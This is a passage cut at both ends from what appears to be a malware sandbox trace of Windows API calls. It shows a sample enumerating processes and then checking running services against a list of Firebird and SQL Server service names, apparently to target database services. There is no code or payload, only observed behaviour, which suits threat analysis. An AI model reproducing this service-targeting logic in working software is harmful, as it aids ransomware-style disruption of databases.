[0109.589] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0109.590] lstrlenW (lpString="scholars.exe") returned 12 [0109.590] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0109.591] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0109.591] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0109.592] lstrlenW (lpString="organizing.exe") returned 14 [0109.592] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0109.593] lstrlenW (lpString="campus.exe") returned 10 [0109.593] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0109.594] lstrlenW (lpString="mug.exe") returned 7 [0109.594] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0109.594] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0109.594] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0109.595] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0109.595] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0109.596] lstrlenW (lpString="powers mixture.exe") returned 18 [0109.596] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0109.597] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0109.597] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0109.598] lstrlenW (lpString="bachelor.exe") returned 12 [0109.599] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0109.599] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0109.599] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0109.600] lstrlenW (lpString="indication wage paying.exe") returned 26 [0109.600] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0109.601] lstrlenW (lpString="thee pub emission.exe") returned 21 [0109.601] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0109.602] lstrlenW (lpString="dllhost.exe") returned 11 [0109.602] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0109.603] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0109.603] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0109.604] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0109.604] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0109.605] lstrlenW (lpString="upgrading.exe") returned 13 [0109.605] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0109.606] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0109.606] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0109.607] lstrlenW (lpString="russell.exe") returned 11 [0109.607] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.608] lstrlenW (lpString="conhost.exe") returned 11 [0109.608] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.608] lstrlenW (lpString="conhost.exe") returned 11 [0109.608] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.609] lstrlenW (lpString="svchost.exe") returned 11 [0109.609] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0109.610] lstrlenW (lpString="1csrss.exe") returned 10 [0109.610] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0109.610] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0109.610] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.611] lstrlenW (lpString="conhost.exe") returned 11 [0109.611] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0109.612] lstrlenW (lpString="cmd.exe") returned 7 [0109.612] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.613] lstrlenW (lpString="conhost.exe") returned 11 [0109.613] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.614] lstrlenW (lpString="svchost.exe") returned 11 [0109.614] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0109.615] CloseHandle (hObject=0x2b4) returned 1 [0109.615] Sleep (dwMilliseconds=0x1f4) [0110.891] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eef20 [0110.891] EnumServicesStatusExW (in: hSCManager=0x5eef20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0110.892] GetLastError () returned 0xea [0110.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d5a) returned 0x4271488 [0110.892] EnumServicesStatusExW (in: hSCManager=0x5eef20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4271488, cbBufSize=0x1d5a, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4271488, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0110.893] CloseServiceHandle (hSCObject=0x5eef20) returned 1 [0110.893] lstrlenW (lpString="Appinfo") returned 7 [0110.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0110.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0110.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0110.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0110.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0110.893] lstrlenW (lpString="AppXSvc") returned 7 [0110.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0110.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0110.893] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0110.893] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0110.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0110.893] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0110.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0110.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0110.893] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0110.893] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0110.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0110.894] lstrlenW (lpString="Audiosrv") returned 8 [0110.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0110.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0110.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0110.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0110.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0110.894] lstrlenW (lpString="BFE") returned 3 [0110.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0110.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0110.894] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0110.894] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0110.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0110.894] lstrlenW (lpString="BITS") returned 4 [0110.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0110.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0110.894] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0110.894] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0110.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0110.894] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0110.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0110.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0110.894] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0110.894] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0110.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0110.895] lstrlenW (lpString="CDPSvc") returned 6 [0110.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0110.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0110.895] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0110.895] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0110.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0110.895] lstrlenW (lpString="ClickToRunSvc") returned 13 [0110.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0110.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0110.895] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0110.895] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0110.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0110.895] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0110.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0110.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0110.895] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0110.895] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0110.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0110.895] lstrlenW (lpString="CryptSvc") returned 8 [0110.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0110.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0110.895] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0110.895] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0110.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0110.895] lstrlenW (lpString="DcomLaunch") returned 10 [0110.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0110.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0110.896] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0110.896] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0110.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0110.896] lstrlenW (lpString="DeviceAssociationService") returned 24 [0110.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0110.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0110.896] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0110.896] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0110.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0110.896] lstrlenW (lpString="Dhcp") returned 4 [0110.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0110.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0110.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0110.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0110.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0110.896] lstrlenW (lpString="Dnscache") returned 8 [0110.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0110.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0110.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0110.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0110.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0110.896] lstrlenW (lpString="DoSvc") returned 5 [0110.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0110.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0110.897] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0110.897] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0110.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0110.897] lstrlenW (lpString="DPS") returned 3 [0110.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0110.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0110.897] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0110.897] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0110.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0110.897] lstrlenW (lpString="DusmSvc") returned 7 [0110.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0110.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0110.897] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0110.897] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0110.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0110.897] lstrlenW (lpString="EventLog") returned 8 [0110.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0110.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0110.897] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0110.897] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0110.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0110.897] lstrlenW (lpString="EventSystem") returned 11 [0110.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0110.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0110.897] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0110.898] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0110.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0110.898] lstrlenW (lpString="FontCache") returned 9 [0110.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0110.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0110.898] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0110.898] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0110.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0110.898] lstrlenW (lpString="gpsvc") returned 5 [0110.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0110.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0110.898] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0110.898] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0110.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0110.898] lstrlenW (lpString="iphlpsvc") returned 8 [0110.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0110.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0110.898] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0110.898] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0110.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0110.898] lstrlenW (lpString="KeyIso") returned 6 [0110.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0110.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0110.898] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0110.898] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0110.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0110.899] lstrlenW (lpString="LanmanServer") returned 12 [0110.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0110.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0110.899] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0110.899] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0110.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0110.899] lstrlenW (lpString="LanmanWorkstation") returned 17 [0110.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0110.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0110.899] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0110.899] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0110.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0110.899] lstrlenW (lpString="lfsvc") returned 5 [0110.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0110.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0110.899] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0110.899] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0110.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0110.899] lstrlenW (lpString="lmhosts") returned 7 [0110.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0110.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0110.899] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0110.899] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0110.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0110.899] lstrlenW (lpString="LSM") returned 3 [0110.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0110.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0110.900] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0110.900] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0110.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0110.900] lstrlenW (lpString="MapsBroker") returned 10 [0110.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0110.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0110.900] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0110.900] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0110.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0110.900] lstrlenW (lpString="MpsSvc") returned 6 [0110.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0110.900] lstrcmpiW 